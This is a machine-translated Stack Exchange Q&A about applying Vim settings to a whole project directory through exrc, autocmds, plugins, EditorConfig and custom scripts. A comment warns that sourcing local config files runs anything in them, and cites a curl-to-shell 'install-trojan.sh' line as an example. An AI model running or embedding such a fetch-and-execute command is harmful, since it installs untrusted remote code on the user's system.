仅将设置应用于目录树


33

在我的工作中,我们使用ts2 的标准。我个人的喜好是4,这是我用于爱好项目的方式,而我们继承的另一个项目的约定为ts=8

我还想基于项目设置一些其他设置(例如折叠)。将这些设置基于文件类型或根据文件使用情况自动检测它们不是很好的选择,因为我要遵守每个项目的约定。

我可以使Vim使用适用于项目(目录树中的所有内容)的设置文件,而不向所有文件添加模型机吗?


Answers:


19

有几种轻巧的方法可以做到这一点。

  1. 检查给定名称的文件并将其来源

    if filereadable(".vimscript_file")
        so .vimscript_file
    endif
    

    该文件在示例中隐藏,但这是可选的。

  2. 本地.vimrc文件(与插件不同)

    set exrc
    

    这类似于1.,但是文件将被称为“ .vimrc”。

    一个常见的建议是使用

    set secure
    

    这样可以防止.vimrc文件执行潜在的危险操作,例如运行Shell命令。这样的想法是,您不想让vim读取.vimrc由其他人写的文件,该文件执行了某些令人讨厌的操作。

  3. 自动命令检查当前路径

    au BufNewFile,BufRead *path-possibly-using-globbing setlocal setting=value
    

    这是我使用的选项。在不同的项目之间,YMMV并没有太大的改变,但是如果您只想基于路径做一两件事并保存在自己的路径中,那将.vimrc非常简单。


请注意,选项1和2具有此注释中描述的相同限制:不适用于子目录。

15

我为此使用localvimrc

.lvimrc项目设置放入项目中,这些设置将覆盖中的设置.vimrc

默认情况下,系统将询问您是否要获取此文件,例如:

localvimrc: source /home/martin/code/.lvimrc? ([y]es/[n]o/[a]ll/[q]uit) 

这是为了防止获取随机(不受信任)的vimrc文件。如果您觉得很烦,可以使用以下命令设置.lvimrc文件白名单g:localvimrc_whitelist

let g:localvimrc_whitelist = '/home/martin/code/.lvimrc'

或者,您可以完全通过禁用请求确认set g:localvimrc_ask = 0。但是不建议这样做。


5

中央配置

如果可以集中配置特定的命令/本地异常,则可以将此类autocmd放入~/.vimrc

:autocmd BufRead,BufNewFile /path/to/dir/* setlocal ts=4 sw=4

重要的是要使用:setlocal代替:set,并且同样使用:map <buffer> ...:command! -buffer ...

另一方面,如果您希望将特定配置存储在项目中(并且不想通过modelines将其嵌入所有文件中),则可以使用以下两个选项:

具有内置功能的本地配置

如果您总是从项目根目录启动Vim,则内置

:set exrc

启用.vimrc从当前目录读取文件的功能。您可以:set ts=4 sw=4在其中放置命令。

通过插件进行本地配置

否则,您需要插件的帮助。vim.org上有几个;我可以推荐localrc插件,甚至允许本地文件类型特定的配置。

请注意,从文件系统读取配置具有安全隐患。你可能想:set secure


2
请注意,这.exrc是非常有限的:项目概念在当前目录停止,即子目录中的文件不属于该项目。
卢克·赫米特

4

有一个Editor Config项目,它允许您定义项目级别的配置,例如tabstop设置以及新的线型和其他内容。各种编辑器都有很多插件,包括vim。它还允许您定义不同文件类型的设置。

# EditorConfig is awesome: http://EditorConfig.org

# top-most EditorConfig file
root = true

# Unix-style newlines with a newline ending every file
[*]
end_of_line = lf
insert_final_newline = true

# Matches multiple files with brace expansion notation
# Set default charset
[*.{js,py}]
charset = utf-8

# 4 space indentation
[*.py]
indent_style = space
indent_size = 4

# Tab indentation (no size specified)
[*.js]
indent_style = tab

# Indentation override for all JS under lib directory
[lib/**.js]
indent_style = space
indent_size = 2

# Matches the exact files either package.json or .travis.yml
[{package.json,.travis.yml}]
indent_style = space
indent_size = 2

0

我编写了此文件,并将其添加到我的.vimrc中,以便将.vimsettings文件放置在项目和子项目中。

" Search for any .vimsettings files in the path to the file.
" Source them if you find them.
function! ApplyLocalSettings(dirname)
    " Don't try to walk a remote directory tree -- takes too long, too many
    " what if's
    let l:netrwProtocol = strpart(a:dirname, 0, stridx(a:dirname, "://"))
    if l:netrwProtocol != ""
        return
    endif

    " Convert windows paths to unix style (they still work)
    let l:curDir = substitute(a:dirname, "\\", "/", "g")
    let l:parentDir = strpart(l:curDir, 0, strridx(l:curDir, "/"))
    if isdirectory(l:parentDir)
        " Recursively walk to the top of the path
        call ApplyLocalSettings(l:parentDir)
    endif

    " Now walk back down the path and source .vimsettings as you find them. This
    " way child directories can 'inherit' from their parents
    let l:settingsFile = a:dirname . "/.vimsettings"
    if filereadable(l:settingsFile)
        exec ":source " . l:settingsFile
    endif
endfunction
autocmd! BufEnter * call ApplyLocalSettings(expand("<afile>:p:h"))

尽管此方法有效,但由于您只是在寻找文件并执行其中的所有命令(包括shell命令,例如system('curl http://example.com/install-trojan.sh | sh')...
Martin Tournoij,2015年

0

我想要这个,所以我只是在本地实现。我不太关心“执行随机代码”,但这可能满足简单的需求。根据需要调整文件名。

let s:this_file = expand("<sfile>")
autocmd BufEnter * call LoadLocalVimrc(expand("<afile>"))

function! LoadLocalVimrc(filename)
    let l:filepath = fnamemodify(a:filename, ':h')
    let l:file = findfile("local.vimrc", l:filepath . ";/")
    if l:file != ''
        execute "source" l:file
        execute "nnoremap <F8> :$tabe " . s:this_file . "<CR>:sp " . l:file . "<CR>"
    endif
endfunction

local.vimrc实际上是到我的每个公司的vimrc文件集中的文件的符号链接,我可以将其保存在其他位置的源代码控制中,这使得将整个配置轻松移动到其他计算机,或者如果我在现场访问公司或其他事情, 。可以使用级联配置,但实际上我不需要该功能。我还连接起来F8.vimrc在一个新选项卡中打开找到的文件和“主”文件。

在这些本地配置中,由于已为每个打开的文件进行了解析,因此请确保将映射和设置设置为本地缓冲区。例如

nnoremap <buffer> <F3> :silent !p4 edit %<CR>:w!<CR>:e<CR>
nnoremap <buffer> <S-F3> :w<CR>:silent !p4 add %<CR>
nnoremap <buffer> <C-F3> :silent !p4 diff %<CR>
nnoremap <buffer> <S-C-F3> :silent !p4vc timelapse %<CR>

setlocal textwidth=101
setlocal noexpandtab
setlocal shiftwidth=4
setlocal tabstop=4
setlocal cinoptions=:0g0(0l1j0*700s+s
By using our site, you acknowledge that you have read and understand our Cookie Policy and Privacy Policy.
Licensed under cc by-sa 3.0 with attribution required.